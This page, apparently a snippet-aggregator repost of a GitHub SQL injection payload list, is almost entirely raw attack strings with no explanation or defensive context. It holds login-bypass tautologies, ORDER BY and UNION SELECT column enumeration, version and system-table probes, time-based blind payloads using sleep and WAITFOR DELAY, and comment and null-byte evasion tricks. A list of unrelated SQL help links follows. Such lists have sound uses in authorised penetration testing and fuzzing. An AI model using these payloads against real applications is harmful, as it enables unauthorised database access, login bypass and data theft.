Sql injection payload list github

'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/ 
+		addition, concatenate (or space in url)
||		(double pipe) concatenate
%		wildcard attribute indicator

@variable	local variable
@@variable	global variable


# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2


1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+

1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+

1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --


-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --


-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@

1 AND (SELECT * FROM Users) = 1	

' AND MID(VERSION(),1,1) = '5';

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --


Finding the table name


Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

Comments:

#	    Hash comment
/*  	C-style comment
-- -	SQL comment
;%00	Nullbyte
`	    Backtick

Source: github.com

Similar codes

13 votes146 views2 answers
Sql join 3 tables
SQL
0 vote156 views1 answer
How do I insert a blob in SQL?
SQL
0 vote125 views1 answer
Openquery insert into linked server
SQL
1 vote191 views1 answer
Ora-06502: pl/sql: numeric or value error: character string buffer too small
SQL
1 vote135 views1 answer
Table information in sql server
SQL
0 vote134 views1 answer
Jenkins SQLCMD run
SQL
3 votes158 views5 answers
Foreign keys
SQL
3 votes123 views1 answer
Oracle list user grants
SQL
0 vote169 views1 answer
Sql filter rows with condition
SQL
0 vote209 views1 answer
Duplicate table: 7 ERROR: relation "migrations" already exists (SQL: create table "migrations" ("id" serial primary key not null, "migration" varchar(255) not null, "batch" integer not null))
SQL